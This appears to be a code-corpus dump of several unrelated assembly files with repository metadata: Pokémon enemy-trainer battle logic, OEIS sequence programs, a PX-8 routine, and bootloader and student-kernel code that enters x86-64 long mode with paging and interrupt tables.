ld a, HYPER_POTION
ld b, 200
EnemyPotionContinue:
ld [wCurEnemyItem], a
ld hl, wEnemyMonHP + 1
ld a, [hl]
ld [wCurHPAnimOldHP], a
add b
ld [hld], a
ld [wCurHPAnimNewHP], a
ld a, [hl]
ld [wCurHPAnimOldHP + 1], a
ld [wCurHPAnimNewHP + 1], a
jr nc, .ok
inc a
ld [hl], a
ld [wCurHPAnimNewHP + 1], a
.ok
inc hl
ld a, [hld]
ld b, a
ld de, wEnemyMonMaxHP + 1
ld a, [de]
dec de
ld [wCurHPAnimMaxHP], a
sub b
ld a, [hli]
ld b, a
ld a, [de]
ld [wCurHPAnimMaxHP + 1], a
sbc b
jr nc, EnemyPotionFinish
inc de
ld a, [de]
dec de
ld [hld], a
ld [wCurHPAnimNewHP], a
ld a, [de]
ld [hl], a
ld [wCurHPAnimNewHP + 1], a
EnemyPotionFinish:
call PrintText_UsedItemOn
hlcoord 2, 2
xor a
ld [wWhichHPBar], a
call AIUsedItemSound
predef AnimateHPBar
jp AIUpdateHUD
AI_TrySwitch:
; Determine whether the AI can switch based on how many Pokemon are still alive.
; If it can switch, it will.
ld a, [wOTPartyCount]
ld c, a
ld hl, wOTPartyMon1HP
ld d, 0
.SwitchLoop:
ld a, [hli]
ld b, a
ld a, [hld]
or b
jr z, .fainted
inc d
.fainted
push bc
ld bc, PARTYMON_STRUCT_LENGTH
add hl, bc
pop bc
dec c
jr nz, .SwitchLoop
ld a, d
cp 2
jp nc, AI_Switch
and a
ret
AI_Switch:
ld a, $1
ld [wEnemyIsSwitching], a
ld [wEnemyGoesFirst], a
ld hl, wEnemySubStatus4
res SUBSTATUS_RAGE, [hl]
xor a
ldh [hBattleTurn], a
callfar PursuitSwitch
push af
ld a, [wCurOTMon]
ld hl, wOTPartyMon1Status
ld bc, PARTYMON_STRUCT_LENGTH
call AddNTimes
ld d, h
ld e, l
ld hl, wEnemyMonStatus
ld bc, MON_MAXHP - MON_STATUS
call CopyBytes
pop af
jr c, .skiptext
ld hl, TextJump_EnemyWithdrew
call PrintText
.skiptext
ld a, 1
ld [wBattleHasJustStarted], a
callfar NewEnemyMonStatus
callfar ResetEnemyStatLevels
ld hl, wPlayerSubStatus1
res SUBSTATUS_IN_LOVE, [hl]
farcall EnemySwitch
farcall ResetBattleParticipants
xor a
ld [wBattleHasJustStarted], a
ld a, [wLinkMode]
and a
ret nz
scf
ret
TextJump_EnemyWithdrew:
text_far Text_EnemyWithdrew
text_end
Function384d5: ; This appears to be unused
call AIUsedItemSound
call AI_HealStatus
ld a, FULL_HEAL_RED ; X_SPEED
jp PrintText_UsedItemOn_AND_AIUpdateHUD
AI_HealStatus:
ld a, [wCurOTMon]
ld hl, wOTPartyMon1Status
ld bc, PARTYMON_STRUCT_LENGTH
call AddNTimes
xor a
ld [hl], a
ld [wEnemyMonStatus], a
ld hl, wEnemySubStatus1
res SUBSTATUS_NIGHTMARE, [hl]
ld hl, wEnemySubStatus3
res SUBSTATUS_CONFUSED, [hl]
ld hl, wEnemySubStatus5
res SUBSTATUS_TOXIC, [hl]
ret
EnemyUsedXAccuracy:
call AIUsedItemSound
ld hl, wEnemySubStatus4
set SUBSTATUS_X_ACCURACY, [hl]
ld a, X_ACCURACY
jp PrintText_UsedItemOn_AND_AIUpdateHUD
EnemyUsedGuardSpec:
call AIUsedItemSound
ld hl, wEnemySubStatus4
set SUBSTATUS_MIST, [hl]
ld a, GUARD_SPEC
jp PrintText_UsedItemOn_AND_AIUpdateHUD
EnemyUsedDireHit:
call AIUsedItemSound
ld hl, wEnemySubStatus4
set SUBSTATUS_FOCUS_ENERGY, [hl]
ld a, DIRE_HIT
jp PrintText_UsedItemOn_AND_AIUpdateHUD
Function3851e: ; This appears to be unused
ldh [hDivisor], a
ld hl, wEnemyMonMaxHP
ld a, [hli]
ldh [hDividend], a
ld a, [hl]
ldh [hDividend + 1], a
ld b, 2
call Divide
ldh a, [hQuotient + 3]
ld c, a
ldh a, [hQuotient + 2]
ld b, a
ld hl, wEnemyMonHP + 1
ld a, [hld]
ld e, a
ld a, [hl]
ld d, a
ld a, d
sub b
ret nz
ld a, e
sub c
ret
EnemyUsedXAttack:
ld b, ATTACK
ld a, X_ATTACK
jr EnemyUsedXItem
EnemyUsedXDefend:
ld b, DEFENSE
ld a, X_DEFEND
jr EnemyUsedXItem
EnemyUsedXSpeed:
ld b, SPEED
ld a, X_SPEED
jr EnemyUsedXItem
EnemyUsedXSpecial:
ld b, SP_ATTACK
ld a, X_SPECIAL
; Parameter
; a = ITEM_CONSTANT
; b = BATTLE_CONSTANT (ATTACK, DEFENSE, SPEED, SP_ATTACK, SP_DEFENSE, ACCURACY, EVASION)
EnemyUsedXItem:
ld [wCurEnemyItem], a
push bc
call PrintText_UsedItemOn
pop bc
farcall RaiseStat
jp AIUpdateHUD
; Parameter
; a = ITEM_CONSTANT
PrintText_UsedItemOn_AND_AIUpdateHUD:
ld [wCurEnemyItem], a
call PrintText_UsedItemOn
jp AIUpdateHUD
PrintText_UsedItemOn:
ld a, [wCurEnemyItem]
ld [wNamedObjectIndexBuffer], a
call GetItemName
ld hl, wStringBuffer1
ld de, wMonOrItemNameBuffer
ld bc, ITEM_NAME_LENGTH
call CopyBytes
ld hl, TextJump_EnemyUsedOn
jp PrintText
TextJump_EnemyUsedOn:
text_far Text_EnemyUsedOn
text_end
| 15.143885
| 109
| 0.715835
|
a7dea3864afce7b6398959c9f658156d7baaed21
| 685
|
asm
|
Assembly
|
oeis/213/A213826.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/213/A213826.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/213/A213826.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A213826: Principal diagonal of the convolution array A213825.
; Submitted by Jon Maiga
; 2,34,132,332,670,1182,1904,2872,4122,5690,7612,9924,12662,15862,19560,23792,28594,34002,40052,46780,54222,62414,71392,81192,91850,103402,115884,129332,143782,159270,175832,193504,212322,232322,253540,276012,299774,324862,351312,379160,408442,439194,471452,505252,540630,577622,616264,656592,698642,742450,788052,835484,884782,935982,989120,1044232,1101354,1160522,1221772,1285140,1350662,1418374,1488312,1560512,1635010,1711842,1791044,1872652,1956702,2043230,2132272,2223864,2318042,2414842,2514300
mul $0,3
add $0,2
mov $1,$0
pow $0,2
add $1,2
mul $0,$1
bin $1,2
sub $0,$1
div $0,9
mul $0,2
| 45.666667
| 501
| 0.79708
|
3aab286d1259ba8ec6b822cb29f1df2e852eb88f
| 1,591
|
asm
|
Assembly
|
bootloader/longmode.asm
|
sudoamin/mars-os
|
79578bab80970905284eb1de8c9750269b8b9d41
|
[
"Apache-2.0"
] | 3
|
2022-03-18T14:39:52.000Z
|
2022-03-24T17:11:05.000Z
|
bootloader/longmode.asm
|
sudoamin/mars-os
|
79578bab80970905284eb1de8c9750269b8b9d41
|
[
"Apache-2.0"
] | null | null | null |
bootloader/longmode.asm
|
sudoamin/mars-os
|
79578bab80970905284eb1de8c9750269b8b9d41
|
[
"Apache-2.0"
] | null | null | null |
[BITS 64]
long_mode:
mov rsp, 0xffff800000060000 ; the stack pointer in long mode or 64-bit mode
; load ss segment selector, otherwise invalid ss selector
; could be loaded when the interrupt handlers returns
; ss=0
xor ax, ax
mov ss, ax
mov rax, 0xffff800000009000
jmp rax
GDT64:
dq 0
; If we do not want to jump to ring3, we do not need data segment for
; accessing data in memory
; the second entry:
; D=0 L=1 P=1 DPL=0 1 1 C=0
; 1 means that the descriptor is code segment descriptor
; DPL indicates privilege level of the segment (ring0)
; L or long mode should be 1, indicating that the code segment runs in 64-bit mode
dq 0x0020980000000000
GDT64_LEN: equ $-GDT64
GDT64_PTR:
dw GDT64_LEN - 1
dd GDT64
; TestLongModeSupport:
; pusha
; mov si, MSGLongModeChecking
; call print
; mov eax, 0x80000000
; cpuid
; cmp eax, 0x80000001
; jb LongModeNotSuported
; mov eax, 0x80000001
; cpuid
; test edx, (1<<29)
; jz LongModeNotSuported
; test edx, (1<<26)
; jz LongModeNotSuported
; mov si, MSGLongModeSupported
; call print
; popa
; ret
; LongModeNotSuported:
; mov si, MSGLongModeNotSupported
; call print
; jmp end ; bootloader
; MSGLongModeChecking: db "Checking Long Mode Support ...", 0ah, 0dh, 0
; MSGLongModeNotSupported: db "* Long Mode not supported" 0ah, 0dh, 0
; MSGLongModeSupported: db "Long Mode is supported", 0ah, 0dh, 0
| 24.859375
| 88
| 0.628536
|
e687fe482b7c379faa1c2e8e468276a0a46c32b8
| 477
|
asm
|
Assembly
|
programs/oeis/094/A094081.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/094/A094081.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/094/A094081.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A094081: Smallest integral ladder whose ends slide over the respective distances 1 and m=2n+1 while slipping down along horizontal ground and vertical wall against which it leans.
; 5,185,1313,4925,13325,29585,57545,101813,167765,261545,390065,561005,782813,1064705,1416665,1849445,2374565,3004313,3751745,4630685,5655725,6842225,8206313,9764885,11535605,13536905,15787985,18308813,21120125
mul $0,2
add $0,1
mul $0,2
pow $0,2
add $0,3
bin $0,2
div $0,48
mul $0,12
add $0,5
| 36.692308
| 210
| 0.78826
|
5bf857530fc56bd375423d6ccb9f509a988289e4
| 555
|
asm
|
Assembly
|
libsrc/target/px8/subcpu_function.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/target/px8/subcpu_function.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/target/px8/subcpu_function.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
;
; PX-8 routines
; by Stefano Bodrato, 2019
;
;
; $Id: subcpu_function.asm $
;
; int subcpu_function(char *sndpkt, int sndpkt_sz, char *rcvpkt, int rcvpkt_sz);
;
; Example to read font definition of a given character, *this macro requires literal static values for char*
; e.g. LCD_GETFONT("A", myfont)
; #define LCD_GETFONT(c, buf) subcpu_function( 8, buf, 2, "\033" c)
;
SECTION code_clib
PUBLIC subcpu_function
PUBLIC _subcpu_function
EXTERN subcpu_call
subcpu_function:
_subcpu_function:
.asmentry
ld hl,2
add hl,sp
jp subcpu_call
| 18.5
| 109
| 0.72973
|
899d1fd885a5d32e0832bc0d904deffd88e4a373
| 587
|
asm
|
Assembly
|
oeis/158/A158744.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/158/A158744.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/158/A158744.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A158744: a(n) = 74*n^2 - 1.
; 73,295,665,1183,1849,2663,3625,4735,5993,7399,8953,10655,12505,14503,16649,18943,21385,23975,26713,29599,32633,35815,39145,42623,46249,50023,53945,58015,62233,66599,71113,75775,80585,85543,90649,95903,101305,106855,112553,118399,124393,130535,136825,143263,149849,156583,163465,170495,177673,184999,192473,200095,207865,215783,223849,232063,240425,248935,257593,266399,275353,284455,293705,303103,312649,322343,332185,342175,352313,362599,373033,383615,394345,405223,416249,427423,438745,450215
mov $1,2
add $1,$0
mul $1,$0
mul $1,74
add $1,73
mov $0,$1
| 58.7
| 496
| 0.788756
|
b3566c8cd1a0e06beb7669999c70e16b66700118
| 20,192
|
asm
|
Assembly
|
tp_01_10/main.asm
|
mjFer/TDIII-UTN-FRBA-TPS-2014
|
1b57b52fa8233c78297b0e5471d1c82e4c85451b
|
[
"MIT"
] | 2
|
2020-04-01T14:45:17.000Z
|
2020-04-01T14:45:23.000Z
|
tp_01_10/main.asm
|
mjFer/TDIII-UTN-FRBA-TPS-2014
|
1b57b52fa8233c78297b0e5471d1c82e4c85451b
|
[
"MIT"
] | null | null | null |
tp_01_10/main.asm
|
mjFer/TDIII-UTN-FRBA-TPS-2014
|
1b57b52fa8233c78297b0e5471d1c82e4c85451b
|
[
"MIT"
] | null | null | null |
; Trabajo Practico 1 - EJ 5 ;
; ;
; Alumno: Marcelo Joaquin Fernandez ;
; Legajo: 1403734 ;
; Curso: r5055 ;
; **************************************************************************************;
;********************************************************************************
;* Macros *
;********************************************************************************
; 0x1F9ffff0 maxima direccion de memoria lineal accesible y direccionable si PML4_BASE = 0x0x100000,
; fuera de esto me crea la pt correspondiente fuera de los 2 megas de identity mapping y explota
; 0x3E300000 maxima direccion de memoria lineal accesible y direccionable si PML4_BASE = 0xA000,
; fuera de esto me crea la pt correspondiente fuera de los 2 megas de identity mapping y explota
%define DUP 0xFFFF;
%define _PML4_BASE 0x0010;
%define _PDPT_BASE _PML4_BASE + 0x1000 ;ubicacion de la Page Directory Pointer Table
%define _PDT_BASE _PDPT_BASE + 0x1000 ;ubicacion de la Page Directory Table
%define _PT_BASE _PDT_BASE + 0x1000 ;ubicacion de la Page Table
%define PML4_BASE 0x100000 ; en el primer mega de memoria 0xA000 ubicacion de la Page Map Level 4
%define PDPT_BASE PML4_BASE + 0x1000 ;ubicacion de la Page Directory Pointer Table
%define PDT_BASE PDPT_BASE + 0x1000 ;ubicacion de la Page Directory Table
%define PT_BASE PDT_BASE + 0x1000 ;ubicacion de la Page Table
%define USER_PAGE 0xA000 ;ubicacion zona usuario
%define VIDEO_BASE 0x200000
%define BREAKPOINT xchg bx, bx
%define BASE_PAGES PT_BASE + 0x200000 ;obseteo las paginas por encima de 512 pt para poder administrar 512 megas de ram
BITS 16
[ORG KERNEL_MEMORY]
ALIGN 4096
jmp Inicio
gdt:
db 0,0,0,0,0,0,0,0 ;dejar vacio un descriptor
cs_sel_64_Kernel equ $-gdt
db 0xFF ;Bits 7-0 del limite (no usado en 64 bits).
db 0xFF ;Bits 15-8 del limite (no usado en 64 bits).
db 0x00 ;Bits 7-0 de la base (no usado en 64 bits).
db 0x00 ;Bits 15-8 de la base (no usado en 64 bits).
db 0x00 ;Bits 23-16 de la base (no usado en 64 bits).
db 0x9A ;Byte de derechos de acceso:
;15 Bit 7=1: Segmento Presente. P ( Present)
;Bits 6,5=00: Nivel de Privilegio cero. (DPL)
;Bit 4=1: Segmento de codigo o datos. S ( 0 system; 1 code or data)
;Bit 3=1: Descriptor correspondiente a codigo. (Type)
;Bit 2=0: Segmento no conforme. (Type)
;Bit 1=1: El segmento de codigo se puede leer. (Type)
;Bit 0=0: El segmento no fue accedido. (Type)
db 0xAF ;Bit 7=1: Granularidad (no usado en 64 bits).
;Bit 6,5=01: Segmento de 64 bits (en modo largo).
;Bit 4=0: No usado.
;Bits 3-0=1111: Bits 19-16 del limite (no usados
;en modo largo).
db 0x00 ;Bits 31-24 de la base (no usado en 64 bits).
cs_sel_64_App equ $-gdt
db 0xFF ;Bits 7-0 del limite (no usado en 64 bits).
db 0xFF ;Bits 15-8 del limite (no usado en 64 bits).
db 0x00 ;Bits 7-0 de la base (no usado en 64 bits).
db 0x00 ;Bits 15-8 de la base (no usado en 64 bits).
db 0x00 ;Bits 23-16 de la base (no usado en 64 bits).
db 0xFA ;Byte de derechos de acceso:
;15 Bit 7=1: Segmento Presente. P ( Present)
;Bits 6,5=00: Nivel de Privilegio cero. (DPL)
;Bit 4=1: Segmento de codigo o datos. S ( 0 system; 1 code or data)
;Bit 3=1: Descriptor correspondiente a codigo. (Type)
;Bit 2=0: Segmento no conforme. (Type)
;Bit 1=1: El segmento de codigo se puede leer. (Type)
;Bit 0=0: El segmento no fue accedido. (Type)
db 0xAF ;Bit 7=1: Granularidad (no usado en 64 bits).
;Bit 6,5=01: Segmento de 64 bits (en modo largo).
;Bit 4=0: No usado.
;Bits 3-0=1111: Bits 19-16 del limite (no usados
;en modo largo).
db 0x00 ;Bits 31-24 de la base (no usado en 64 bits).
ds_sel_Kernel equ $-gdt
db 0xFF ;Bits 7-0 del limite (no usado en 64 bits).
db 0xFF ;Bits 15-8 del limite (no usado en 64 bits).
db 0x00 ;Bits 7-0 de la base (no usado en 64 bits).
db 0x00 ;Bits 15-8 de la base (no usado en 64 bits).
db 0x00 ;Bits 23-16 de la base (no usado en 64 bits).
db 0x92 ;Byte de derechos de acceso:
;Bit 7=1: Segmento Presente.
;Bits 6,5=00: Nivel de Privilegio cero.
;Bit 4=1: Segmento de codigo o datos.
;Bit 3=0: Descriptor correspondiente a datos.
;Bit 2=0: Offset <= Limite.
;Bit 1=1: El segmento de datos se puede escribir.
;Bit 0=0: El segmento no fue accedido.
db 0xCF ;Bit 7=0: Granularidad (no usado en 64 bits).
;Bit 6,5=10: Segmento de 32 bits.
;Bit 4=0: No usado.
;Bits 3-0=1111: Bits 19-16 del limite (no usados
;en modo largo).
db 0x00 ;Bits 31-24 de la base (no usado en 64 bits).
ds_sel_App equ $-gdt
db 0xFF ;Bits 7-0 del limite (no usado en 64 bits).
db 0xFF ;Bits 15-8 del limite (no usado en 64 bits).
db 0x00 ;Bits 7-0 de la base (no usado en 64 bits).
db 0x00 ;Bits 15-8 de la base (no usado en 64 bits).
db 0x00 ;Bits 23-16 de la base (no usado en 64 bits).
db 0xF2 ;Byte de derechos de acceso:
;Bit 7=1: Segmento Presente.
;Bits 6,5=00: Nivel de Privilegio cero.
;Bit 4=1: Segmento de codigo o datos.
;Bit 3=0: Descriptor correspondiente a datos.
;Bit 2=0: Offset <= Limite.
;Bit 1=1: El segmento de datos se puede escribir.
;Bit 0=0: El segmento no fue accedido.
db 0xCF ;Bit 7=0: Granularidad (no usado en 64 bits).
;Bit 6,5=10: Segmento de 32 bits.
;Bit 4=0: No usado.
;Bits 3-0=1111: Bits 19-16 del limite (no usados
;en modo largo).
db 0x00 ;Bits 31-24 de la base (no usado en 64 bits).
tss_ini equ $-gdt ;tss de la tarea inicial (idle) DPL=0
tss0:
dw 0x0067
dw sys_tss
db 0x00
db 10001001b
db 0x00
db 0x00
dq 0x0000000000000000
long_gdt equ $-gdt ;longitud gdt
valor_gdtr: dw long_gdt-1
dd gdt
;***************************DECLARACION DE ESTRUCTURA PARA TAREA Y TSS*******************/
struc tss_struc ;TSS (Definicion de tipo)
resd 1
.reg_RSP0l resd 1
.reg_RSP0u resd 1
.reg_RSP1l resd 1
.reg_RSP1u resd 1
.reg_RSP2l resd 1
.reg_RSP2u resd 1
resd 1
resd 1
.reg_IST1l resd 1
.reg_IST1u resd 1
.reg_IST2l resd 1
.reg_IST2u resd 1
.reg_IST3l resd 1
.reg_IST3u resd 1
.reg_IST4l resd 1
.reg_IST4u resd 1
.reg_IST5l resd 1
.reg_IST5u resd 1
.reg_IST6l resd 1
.reg_IST6u resd 1
.reg_IST7l resd 1
.reg_IST7u resd 1
resd 1
resd 1
.reg_IOMAP resw 1
.IOMAP resd 1
endstruc
struc task_struct ;Estructura de tarea del scheduller (Definicion de tipo)
.CurrentTicks resd 1
.MaxTicks resd 1
.rax resq 1
.rbx resq 1
.rcx resq 1
.rdx resq 1
.RSP0 resq 1
.RIP resq 1
.RDI resq 1
.RSP resq 1
.CR3 resq 1
.RFLAGS resq 1
.SS0 resw 1
.CS resw 1
.DS resw 1
.SS resw 1
endstruc
;****************Completo INICIALIZO LAS TSS's*****************************************
sys_tss: istruc tss_struc ; Instanciamos TSS Sup
at tss_struc.reg_RSP0l, dd pila_ini_L0+0e0h
at tss_struc.reg_RSP0u, dd 0
at tss_struc.reg_IOMAP, dw 104
at tss_struc.IOMAP, dd 0ffffffffh
iend
;**************************IDT EXCEPCIONES**********************************
idt:
dw 0x0000; ex0_ceroHandler ;Bits 15-0 del offset.
dw cs_sel_64_Kernel ;Selector del segmento de codigo.
db 0 ;Cantidad de palabras que ocupan los parametros.
db 8Dh ;MAL DESCRIPTO A PROPOSITO XD
dw 0x0000 ;Bits 31-16 del offset.
dd 0x00000000 ;Bits 63-32 del offset.
dd 0x00000000 ;Reservado.
times 2 dq 0,0 ;16 bytes por compuerta.
;breakpoint
dw ex3_BPHandler ;Bits 15-0 del offset.
dw cs_sel_64_Kernel ;Selector del segmento de codigo.
db 0 ;Cantidad de palabras que ocupan los parametros.
db 8Eh ;Compuerta de interrupcion de 64 bits.
dw 0 ;Bits 31-16 del offset.
dd 0 ;Bits 63-32 del offset.
dd 0 ;Reservado.
times 4 dq 0,0
dw ex8_DoubleFaultHandler ;Bits 15-0 del offset.
dw cs_sel_64_Kernel ;Selector del segmento de codigo.
db 0 ;Cantidad de palabras que ocupan los parametros.
db 8Eh ;Compuerta de interrupcion de 64 bits.
dw 0 ;Bits 31-16 del offset.
dd 0 ;Bits 63-32 del offset.
dd 0 ;Reservado.
times 4 dq 0,0
;gp foult
dw ex13_GeneralProtectionHandler ;Bits 15-0 del offset.
dw cs_sel_64_Kernel ;Selector del segmento de codigo.
db 0 ;Cantidad de palabras que ocupan los parametros.
db 8Eh ;Compuerta de interrupcion de 64 bits.
dw 0 ;Bits 31-16 del offset.
dd 0 ;Bits 63-32 del offset.
dd 0 ;Reservado.
;pf
dw ex14_PageFaultProtectionHandler ;Bits 15-0 del offset.
dw cs_sel_64_Kernel ;Selector del segmento de codigo.
db 0 ;Cantidad de palabras que ocupan los parametros.
db 8Eh ;Compuerta de interrupcion de 64 bits.
dw 0 ;Bits 31-16 del offset.
dd 0 ;Bits 63-32 del offset.
dd 0 ;Reservado.
times 17 dq 0,0
;****************************INTERRUPCIONES**************************************
dw int_0 ;Bits 15-0 del offset.
dw cs_sel_64_Kernel ;Selector del segmento de codigo.
db 0 ;Cantidad de palabras que ocupan los parametros.
db 8Eh ;Compuerta de interrupcion de 64 bits.
dw 0 ;Bits 31-16 del offset.
dd 0 ;Bits 63-32 del offset.
dd 0 ;Reservado.
dw int9_keyboardHandler ;Bits 15-0 del offset.
dw cs_sel_64_Kernel ;Selector del segmento de codigo.
db 0 ;Cantidad de palabras que ocupan los parametros.
db 8Eh ;Compuerta de interrupcion de 64 bits.
dw 0 ;Bits 31-16 del offset.
dd 0 ;Bits 63-32 del offset.
dd 0 ;Reservado.
%assign i 0
%rep 15;30 ;48 lo que deberia ser hasta la int 80
; Compuerta de interrupcion de 16 bytes correspondiente a INT i.
dw int_%+i ;Bits 15-0 del offset.tá desactivado.
dw cs_sel_64_Kernel ;Selector del segmento de codigo.
db 0 ;Cantidad de palabras que ocupan los parametros.
db 8Eh ;Compuerta de interrupcion de 64 bits.
dw 0 ;Bits 31-16 del offset.
dd 0 ;Bits 63-32 del offset.
dd 0 ;Reservado.
%assign i i+1
%endrep
times 31 dq 0,0 ;16 bytes por compuerta. times 18 dq 0,0 TODO CAMBIAR EESTOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
dw Int80Han ; Descriptor de la int 80 (Servicios Generales de sistema)
dw cs_sel_64_Kernel
db 0x00
db 11101110b ; P = 1 DPL = 11
; db 0x00
; db 0x00
dw 0x0000 ;Bits 31-16 del offset.
dd 0x00000000 ;Bits 63-32 del offset.
dd 0x00000000 ;Reservado.
idtsize equ $-idt
idtr: dw idtsize-1
dd idt
;*********************Se instancian las estructuras de las tareas*********************************
TaskIdle: istruc task_struct
at task_struct.CurrentTicks, dd 0
at task_struct.MaxTicks, dd 50
at task_struct.CR3, dq PML4_BASE
at task_struct.SS, dw ds_sel_Kernel
iend
TaskMalloc: istruc task_struct
at task_struct.CurrentTicks, dd 0
at task_struct.MaxTicks, dd 25
at task_struct.RSP0, dq pila_TaskMalloc_L0+0e0h
at task_struct.RIP, dq Tarea_Malloc
at task_struct.RDI, dq 24
at task_struct.RSP, dq pila_TaskMalloc_L3+0e0h
at task_struct.CR3, dq PML4_BASE
at task_struct.RFLAGS, dq 202h
at task_struct.SS0, dw ds_sel_Kernel
at task_struct.CS, dw cs_sel_64_App+3
at task_struct.DS, dw ds_sel_App+3
at task_struct.SS, dw ds_sel_App+3
iend
;********************************PILAS de nivel 0***********************************************************
ALIGN 8
pila_ini_L0: times 100h db 0
ALIGN 8
pila_TaskMalloc_L0: times 100h db 0
;******************************** Algunos datos***********************************************************
texto: db "UTN-2014-TDIII------ Marcelo J Fernandez", 00h ;
txt_pae_av: db "..CPUID - PAE : Available", 00h
txt_lme_av: db "..CPUID - LME : Available", 00h
txt_pae_nav: db "..CPUID - PAE : Not Available!!", 00h
txt_lme_nav: db "..CPUID - LME : Not Available!!", 00h
Inicio:
cli
;LLamo a un Clear Screen
call clrScr_16
;xchg bx,bx
;llamo a la rutina de print
mov edi,texto
mov esi,2 ; esi (segundo argumento) char columna
mov edx,0 ; edx (tercer argumento) char fila
mov ecx,111b ; ECX (cuarto arguemto) char color
call Print_16
lgdt [valor_gdtr] ;cargo la gdt
;****************Compruebo PAE****************************
mov eax,1
CPUID
and edx,1000000b
cmp edx,1000000b
jnz NO_PAE
;llamo a la rutina de print
mov edi,txt_pae_av
mov esi,2 ; esi (segundo argumento) char columna
mov edx,1 ; edx (tercer argumento) char fila
mov ecx,010b ; ECX (cuarto arguemto) char color
call Print_16
;****************Seteo PAE********************************
mov eax,cr4 ;leo el registro CR4
or eax,00100000b ;or flag de PAE
mov cr4,eax ;Seteo CR4
;INICIO Creacion de paginas
;notar que estoy en modo real por lo que las direcciones salen de la suma de DUP:_PML4_BASE
xor eax,eax
mov eax, DUP
mov ds, eax
mov dword [DS:_PML4_BASE],PDPT_BASE + 0x15;0x11 ;si no anda ver que puede estar aca el problema
mov dword [DS:_PML4_BASE + 4], 0
mov dword [DS:_PDPT_BASE],PDT_BASE + 0x15;0x11
mov dword [DS:_PDPT_BASE + 4], 0
mov dword [DS:_PDT_BASE],PT_BASE + 0x15;0x11
mov dword [DS:_PDT_BASE + 4], 0
;Aca arrancamos a crear las paginas con un loop
mov ecx, 512 ;voy a crear 20 paginas
mov eax, 01000h + 0x07;0x01
mov edi, _PT_BASE + 8
pageloop:
mov dword [DS:edi],eax
mov dword [DS:edi + 4],0
add edi, 8
add eax, 1000h
loop pageloop
mov dword [DS:_PT_BASE + 0x40 ],0x8000 + 1
mov dword [DS:_PT_BASE + 4], 0
mov dword [DS:_PT_BASE + 0x48 ],0x9000 + 1
mov dword [DS:_PT_BASE + 4], 0
;pagina de usuario para las tareas en 0xA000
;mov dword [DS:_PT_BASE + 0x50 ],USER_PAGE + 7;0x07 ;x50 es la 0xa000
;mov dword [DS:_PT_BASE + 4], 0
;pagina de usuario para las tareas en 0xA000
;mov dword [DS:_PT_BASE + 0x58 ],0xb000 + 5;0x07 ;x50 es la 0xa000
;mov dword [DS:_PT_BASE + 4], 0
;en la 0x0000 pagino la b8000 de video
mov dword [DS:_PT_BASE],0b8000h + 0x01
mov dword [DS:_PT_BASE + 4], 0
;FIN CREACION PAGINAS
xor eax,eax
mov ds, eax
mov eax, DUP
shl eax,4
add eax,_PML4_BASE
mov cr3,eax
xor eax,eax
;reprogramo el pic
call Pic_Reprograming
mov AL, 11111101b ;desabilito todas las interrupciones del PIC1 ;11111100b http://www.brokenthorn.com/Resources/OSDevPic.html
out 21h,al
mov AL, 0xFF ;desabilito todas las interrupciones del PIC2
out 0xA1,al
lidt [idtr]
;Comprueba si LME esta como spec en el micro
mov eax,0x80000001
CPUID
and edx,0x20000000 ;bit 29
cmp edx,0x20000000
jnz NO_LME
;print
mov edi,txt_lme_av
mov esi,2 ; esi (segundo argumento) char columna
mov edx,2 ; edx (tercer argumento) char fila
mov ecx,010b ; ECX (cuarto arguemto) char color
call Print_16
mov ecx,0x0C0000080 ;seteo para leer EFER de la MSR
rdmsr ;pedido de lectura a MSR
or eax, 0x00000100 ;Seteo LME (Long mode enable)
wrmsr ;seteo en la MSR el registro EFER
;Ver Manual intel 2.8 V3a y 9.12 V3a para ver bien secuencia de cambio de modos
mov eax,cr0 ;seteo el bit de paginacion y de modo protegido
or eax,80000001h
mov cr0,eax
jmp cs_sel_64_Kernel:modo_largo
[bits 64]
modo_largo:
mov rsp,pila_ini_L0 + 100 ;seteo la direccion de la pila +100 por que se carga de forma inversa
mov ax,ds_sel_Kernel ;cargo el descriptor de datos
mov ds,ax ;cargo ds con el segundo descriptor
mov ss,ax ;cargo ss con el descriptor de datos (para la pila)
mov es,ax
;xor ax,ax
;mov ss,ax
mov ax,tss_ini
ltr ax
sti
